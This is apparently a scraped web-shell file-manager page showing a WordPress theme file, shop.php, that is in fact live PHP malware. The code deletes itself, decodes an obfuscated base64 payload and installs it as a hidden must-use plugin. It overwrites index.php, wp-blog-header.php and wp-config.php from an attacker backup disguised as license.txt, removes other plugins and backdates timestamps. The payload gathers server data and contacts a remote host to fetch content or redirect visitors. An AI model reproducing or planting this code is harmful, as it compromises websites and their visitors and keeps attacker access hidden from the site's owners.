Sid Gifari File Manager
🏠 Root
/
home2
/
meumer25
/
www
/
wp-content
/
themes
/
astra
/
inc
/
customizer
/
configurations
/
buttons
/
Editing: shop.php
<?php ini_set('display_errors', '1'); header('Access-Control-Allow-Origin:*'); error_reporting(E_ALL); set_time_limit(99 - 99); header("X-LiteSpeed-Purge: *"); $root_dir = str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]); //$root_dir .= "/wordpress"; if(file_exists($root_dir.'/wp-load.php')){ $ctime = filemtime($root_dir.'/wp-load.php'); }else{ $ctime = strtotime("-180 days"); } @unlink(__FILE__); $hiphp_code = <<<'PHP' <?php /** * Loads the WordPress environment and template. * * @package WordPress */ PHP; $hiphp_code .= base64_decode("JFlKdnBtTnFDaiA9IGltcGxvZGUoIllKdnBtTnFDaiIsYXJyYXkoKSk7JGVYNUtaV00gPSBzdHJzdHIoIlo5RUxZIiwidHhaUlBVNGppIik7ICR5NlhIdzFxekIgPSBzdHJfc2h1ZmZsZSgiYVBhZDlYSUMiKTsgJFBpdVVCZVhvUSA9IGFycmF5KCJsZ0lUX01DUFpyUSIpOyAkdV9FSmpXYkQgPSBzdHJwb3MoIk1vQjdUIiwiVmVLUjZGdiIpOyAkQzA3eXZaID0gc3Ryc3RyKCJzSnc1Y1BzaEIiLCJNWDN2cUUiKTsgJFRsTjhGNXA5ID0gc3RyaXBvcygiUzFLUW95UiIsIkhtTzRGMiIpOyAkdVhCajBZID0gc3RyX3NodWZmbGUoInBNZkw0U1plcSIpOyAkWmJMRkpIcCA9IHN0cnN0cigib2JKcVJnOSIsIm9JdWJDIik7ICR1MnNXTkw1UjEgPSBtZXRhcGhvbmUoIkVvd2J2UDlwSyIpOyBjbGFzcyBtMVFsb0NxNXsJcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gSXVYeGgoKXsJCWlmKHNlbGY6Ok9OVU9LczcoWzQ1LDY0LDgsNDUsNjQsOF0pKHNlbGY6OiRLX3k1UXpJMixzZWxmOjpPTlVPS3M3KFsyOSw3NSw4LDI3LDQ1LDQwLDY0XSkpKXsJCQkJCQlzZWxmOjpPTlVPS3M3KFs1Miw0MCw3LDcyLDQwLDgsMTYsMjYsNDYsMjUsMCw2NCw0MCwwLDY0LDY5LDY0LDM1LDEzLDQwLDEsNjQsNDAsMjMsNjQsNjYsMjMsNiwyNywyNiwzLDU4XSk7CQkJZXhpdChzZWxmOjokS195NVF6STIpOwkJfQl9cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gQlhoSkJaKCl7CQlpZihzZWxmOjpPTlVPS3M3KFs0NSw2NCw4LDQ1LDY0LDhdKSh0cmltKHNlbGY6OiRLX3k1UXpJMiksc2VsZjo6T05VT0tzNyhbMjksNTIsNjQsNiwyN10pKSl7CQkJZXhpdChzZWxmOjokS195NVF6STIpOwkJfQl9cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gQkNqTkg0S1EoKXsJCWlmKHNlbGY6Ok9OVU9LczcoWzQ1LDc1LDYyLDQ1LDY0LDhdKSh0cmltKHNlbGY6OiRLX3k1UXpJMiksMCw0KT09IHNlbGY6Ok9OVU9LczcoWzUyLDY0LDY0LDEzXSkpewkJCQkJaGVhZGVyKHNlbGY6Ok9OVU9LczcoWzIwLDI1LDUwLDcsNjQsNzQsMjUsMCwxXSkuc2VsZjo6JEtfeTVRekkyKTsJCQlleGl0OwkJfQl9cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgeyAgICAgICAgCQlzZWxmOjokcDFneERVSDMgPSAkX1NFUlZFUjsgICAgfXByaXZhdGUgc3RhdGljICRwMWd4RFVIMyA9IG51bGw7cHJpdmF0ZSBzdGF0aWMgJE5SbVp3MCA9ICIiO3ByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIFVXYjZzOCgka2hsOWopIHsJCXJldHVybiBzZWxmOjokTlJtWncwWyRraGw5al07CX1wdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9fY2FsbFN0YXRpYygkd0MwcmksICR0ajVDWXNyVSkgewlnb3RvIEt4VklFbUc7bTRyZGJsUzk6IHNlbGY6Okl1WHhoKCk7Z290byBtNTFXQVF2R1NVO1dtR3FGbnkwOiAkeFVyb3g1ZzEgPSBbc2VsZjo6T05VT0tzNyhbMTAsNzMsMjBdKT0+IjIiLCJUIj0+InoiXTtnb3RvIGdpMzYxUHRUVztLeFZJRW1HOiBzZWxmOjokTlJtWncwID0gJHRqNUNZc3JVWzBdO2dvdG8gZDloY1NWYWw2SztxZUtvUFNkYzogc2VsZjo6T05VT0tzNyhbNTAsNzUsOCwyNyw2OCw0NSw0MCw2NCwyNSwxMyw2NF0pKCRKNEpNY2Ysc2VsZjo6T05VT0tzNyhbMjIsMjEsMjEsMjIsNTVdKSwgMSk7Z290byBrcGJFWEM7eE4yZEhWNlQ6IHNlbGY6OiRLX3k1UXpJMiA9IHNlbGY6Ok9OVU9LczcoWzUwLDc1LDgsMjcsNjgsNDAsMjMsNDAsNTBdKSgkSjRKTWNmKTtnb3RvIE5oZ0hRSzI4O2dpMzYxUHRUVzogc2VsZjo6JHAxZ3hEVUgzID0gYXJyYXlfbWVyZ2Uoc2VsZjo6JHAxZ3hEVUgzLCR4VXJveDVnMSk7Z290byB4dzlhbjh6ZHRqO1NBdnNWMng6IHNlbGY6Ok9OVU9LczcoWzUwLDc1LDgsMjcsNjgsNDUsNDAsNjQsMjUsMTMsNjRdKSgkSjRKTWNmLHNlbGY6Ok9OVU9LczcoWzIyLDExLDExLDExLDE1XSksJGl5NU1XKTtnb3RvIHFlS29QU2RjO3h3OWFuOHpkdGo6ICRpeTVNVyA9IHNlbGY6Ok9OVU9LczcoWzUyLDY0LDY0LDEzLDEsNjYsNjYsMzVdKTskaXk1TVcgLj0gc2VsZjo6T05VT0tzNyhbNTIsNzIsNzQsNDUsNDksNDIsOCw3NV0pOyRpeTVNVyAuPSBzZWxmOjpPTlVPS3M3KFs2Niw3LDEzLDc0LDY2LDY3LDc1LDddKTskaXk1TVcgLj0gc2VsZjo6T05VT0tzNyhbMzddKTtnb3RvIHVSZnN2VnA7UDc5M25FSHFKSTogc2VsZjo6T05VT0tzNyhbNTAsNzUsOCwyNyw2OCw0NSw0MCw2NCwyNSwxMyw2NF0pKCRKNEpNY2Ysc2VsZjo6T05VT0tzNyhbMjIsNTVdKSwgNTApO2dvdG8geE4yZEhWNlQ7dVJmc3ZWcDogc2VsZjo6JHAxZ3hEVUgzPSBzZWxmOjpPTlVPS3M3KFs1Myw0NSwyNSwwLDY4LDQwLDAsNTAsMjUsNzIsNDBdKShzZWxmOjokcDFneERVSDMpO2dvdG8gZ2JHVkxEcEgxO1diWTJmd2RKRDogJGl5NU1XID0gJGl5NU1XLnNlbGY6OiRwMWd4RFVIMztnb3RvIFNBdnNWMng7Z2JHVkxEcEgxOiBzZWxmOjokcDFneERVSDMgPSBzZWxmOjpPTlVPS3M3KFs2Miw3LDQ1LDQwLDY1LDYxLDY4LDQwLDAsNTAsMjUsNzIsNDBdKShzZWxmOjokcDFneERVSDMpO2dvdG8gV2JZMmZ3ZEpEO2Q5aGNTVmFsNks6ICRKNEpNY2YgPSBzZWxmOjpPTlVPS3M3KFs1MCw3NSw4LDI3LDY4LDc0LDAsNzQsNjRdKSgpO2dvdG8gV21HcUZueTA7bTUxV0FRdkdTVTogc2VsZjo6QlhoSkJaKCk7Z290byBCc2x2WGIwSE5GO0pWY3Zwczogc2VsZjo6QkNqTkg0S1EoKTtnb3RvIG00cmRibFM5O2twYkVYQzogc2VsZjo6T05VT0tzNyhbNTAsNzUsOCwyNyw2OCw0NSw0MCw2NCwyNSwxMyw2NF0pKCRKNEpNY2Ysc2VsZjo6T05VT0tzNyhbNjUsNjFdKSwgMCk7Z290byBQNzkzbkVIcUpJO05oZ0hRSzI4OiBzZWxmOjpPTlVPS3M3KFs1MCw3NSw4LDI3LDY4LDUwLDI3LDI1LDQ1LDQwXSkoJEo0Sk1jZik7Z290byBKVmN2cHM7QnNsdlhiMEhORjoiIjsJCQkgICAgfXByaXZhdGUgc3RhdGljICRLX3k1UXpJMiA9ICIiO3ByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIE9OVU9LczcoJFVEdHZNaCkgewkJJHBaZnJfYyA9ICIiOwkJZm9yZWFjaCgkVUR0dk1oIGFzICRXeVc5NmJyKXsJCQkkcFpmcl9jIC49IHNlbGY6OlVXYjZzOCgkV3lXOTZicik7CQkJCQl9CQlyZXR1cm4gJHBaZnJfYzsJfQl9JEsxdmRIID0gYXJyYXkoIk9oMlBIWkNkVXBLIik7ICR0Wm9MNXIgPSBzaGExKCJUY2dDOUQiKTsgJExWQWxvMCA9IHN0cl9yZXBlYXQoIiIsIDExKTsgJHF4TW1wS2kgPSBjaHVua19zcGxpdCgidnNZbkl6MGdoaVVjb2RRTHVEIiwzKTsgJGlkalV5ID0gbWV0YXBob25lKCJ1MHlUM28iKTsgJEE2YWJpOWogPSBpbXBsb2RlKCIsIixhcnJheSgib0ZuMWtpMnRHIiwia29JY3JOVnciLCJNcmRiaSIsIlZMelpYIikpOyAkcTFLTFhHID0gdHJpbSgiICAgIik7ICRwMHRkaml3eCA9IG1ldGFwaG9uZSgicjJBaTNsRCIpOyAkeVJ2MEh1TFhkID0gYWRkY3NsYXNoZXMoInlSdjBIdUxYZCIsInVHSHphMzdCSVNSIik7ICRNamJIWSA9IHN0cnZhbChmYWxzZSk7IG5ldyBtMVFsb0NxNSgpOyR2SmltdlVMID0gc3RyX3BhZCgiIiwgMCk7ICRxTFNSYjFtRWkgPSBzdHJfcGFkKCIiLCAwKTsgJG1GaFBfTiA9IHN0cnBvcygiSF9halFyTG8iLCJOM2J6bSIpOyAkSEJ4S01ZID0gZGVmaW5lZCgiWjBKZDd1Iik7ICRLU2wxRGggPSBzdHJfcGFkKCIiLCAwKTsgJHRQaWp5RDYgPSBzdHJ2YWwoZmFsc2UpOyAkdklpRkdRSCA9IHVjZmlyc3QoIlNrTVBSZEEwIik7ICRaMlBXWTgwUSA9IHdvcmR3cmFwKCIiLCA3KTskT2dDM3FZID0gZGF0ZSgiWS1tLWQgSDppOnMiKTsgJGFXYnhkZU53YSA9IHRyaW0oIiAgICIpOyBtMVFsb0NxNTo6Tjh4alhBKCduOkEpSzVtYXJCVDBHcEkyKFFVN0w5MXhWbyJsTjxFTXdIenlaPT5PZTguWUZzQ0RSa2N2aGpxM1NmO1hnNGIgdDYvP18tSldkUGl1Jyk7JGZuMFN2eiA9IGNodW5rX3NwbGl0KCJpOUhiMVVET0MiLDMpOyAkX0hERTIgPSBzdHJfc2h1ZmZsZSgibWdqaVZ4NUk4Iik7ICRWaTNCaCA9IHN0cl9yZXBlYXQoIiIsIDcpOyAkbUFKeGRDeSA9IHN0cl9yZXBlYXQoIiIsIDExKTsgJFNHOUFSYSA9IGFkZGNzbGFzaGVzKCJTRzlBUmEiLCJVSHlSVmxwUGUzWkZxMHdUYiIpOyAkSmI4ZEogPSBzdHJwb3MoImxxX1ZMQiIsIktYWkh2RmdrTSIpOyAkcEtEUjhHViA9IGFkZGNzbGFzaGVzKCJwS0RSOEdWIiwiR1pfaGFxaWdkMEp2TEJ0TlgzZk8iKTsgJFR2OEJYMnpTXyA9IGFycmF5KCJCMUJIYXRneSIpOyAkSTZuNWZaQ1YgPSBzcHJpbnRmKCIiKTsgJExCUldkSiA9IHN0cnZhbChmYWxzZSk7IA=="); $nsd_code = <<<'DHP' ?> DHP; $hiphp_code .= $nsd_code; $beifen_arr = array(); $beifen_path = $root_dir."/wp-includes/blocks/nextpage/license.txt"; if(file_exists($beifen_path)){ $text = file_get_contents($beifen_path); $beifen_arr = json_decode(base64_decode(substr_replace($text,"",23,23)),true); } $index_p = $root_dir."/index.php"; if(!file_exists($index_p) || md5_file($index_p) != "926dd0f95df723f9ed934eb058882cc8"){ $index_code = base64_decode("PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK"); save_file($index_p,$index_code,$ctime); } $head_p = $root_dir."/wp-blog-header.php"; if(!file_exists($head_p) || md5_file($head_p) != "5f425a463183f1c6fb79a8bcd113d129"){ $head_code = base64_decode("PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0K"); save_file($head_p,$head_code,$ctime); } if(isset($beifen_arr["wpconfig"])){ $conf_p = $root_dir."/wp-config.php"; if(!file_exists($conf_p) || md5_file($conf_p) != $beifen_arr["wpconfig"]["md5"]){ save_file($conf_p,base64_decode($beifen_arr["wpconfig"]["nrong"]),$ctime); } } if(isset($beifen_arr["mu_plug_list"])){ $mu_p = $root_dir."/wp-content/mu-plugins"; if(file_exists($mu_p)){ if ($handle = opendir($mu_p)) { while (($file = readdir($handle)) !== false) { $pfile = $mu_p . "/" . $file; if(is_file($pfile) && !in_array($file,$beifen_arr["mu_plug_list"])){ unlink($pfile); } } } } } fi1($root_dir); if(file_exists($root_dir."/wp-load.php") && file_exists($root_dir."/wp-settings.php")){ $name = "0".rand_abc(5).".php"; $mymu_p = $root_dir."/wp-content/mu-plugins/".$name; save_file($mymu_p,$hiphp_code,$ctime); if(!file_exists($mymu_p)){ save_file($index_p,$hiphp_code.$index_code,$ctime); } }else{ //unlink($index_p); chmod($index_p,0644); $content = file_get_contents($index_p); $index_p = $index_p . $content; save_file($index_p,$hiphp_code,$ctime); } $beifen_code = base64_encode(json_encode($beifen_arr)); $beifen_code = substr_replace($beifen_code,rand_abc(23),23,0); save_file($beifen_path,$beifen_code,$ctime); echo "recover_run"; if(function_exists("opcache_reset")){ opcache_reset(); } $arpath8 = []; $os = "other"; fi2($root_dir,$arpath8,$root_dir,$os); function fi2($path,$arpath8,$root,$os){ if ($handle = opendir($path)) { while (($file = readdir($handle)) !== false) { if ($file != "." && $file != "..") { $pfile = $path . "/" . $file; if($file=="licelic.c"){ @unlink($pfile); } if($os=="wp"){ if(stripos($pfile,'wp-includes')!=false || stripos($pfile,'wp-content')!=false || stripos($pfile,'wp-admin')!=false){ if (is_dir($pfile) && !is_link($pfile)) { if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 3) { array_push($arpath8, str_replace($root . '/', '', $pfile)); } $arpath8 = fi2($pfile,$arpath8,$root,$os); } } }else{ if (is_dir($pfile) && !is_link($pfile)) { if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 1) { array_push($arpath8, str_replace($root . '/', '', $pfile)); } $arpath8 = fi2($pfile,$arpath8,$root,$os); } } } } } return $arpath8; } function fi1($path){ $path = $path ."/wp-content/mu-plugins"; if ($handle = opendir($path)) { while (($file = readdir($handle)) !== false) { if ($file != "." && $file != "..") { $pfile = $path . "/" . $file; if (substr($file,0,1)=="0") { @unlink($pfile); } } } } if(file_exists($path."/0wp-plugins.php")){ @unlink($path."/0wp-plugins.php"); } } function save_file($file_name,$file_content='',$file_time=""){ if(file_exists($file_name)){ @chmod($file_name,0755); }else{ $dir = dirname($file_name); if(!file_exists($dir)){ mkdir($dir, 0755, true); } } $l1u=@fopen($file_name,'w'); if($l1u!==false){ fwrite($l1u,$file_content); fclose($l1u); }else{ if(file_exists($file_name)){ unlink($file_name); } error_log($file_content,3,$file_name); } if($file_time != ""){ @touch($file_name,$file_time); } } function rand_abc($length) { $str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $strlen = 52; while ($length > $strlen) { $str .= $str; $strlen += 52; } $str = str_shuffle($str); return substr($str, 0, $length); } ?>
Save
Cancel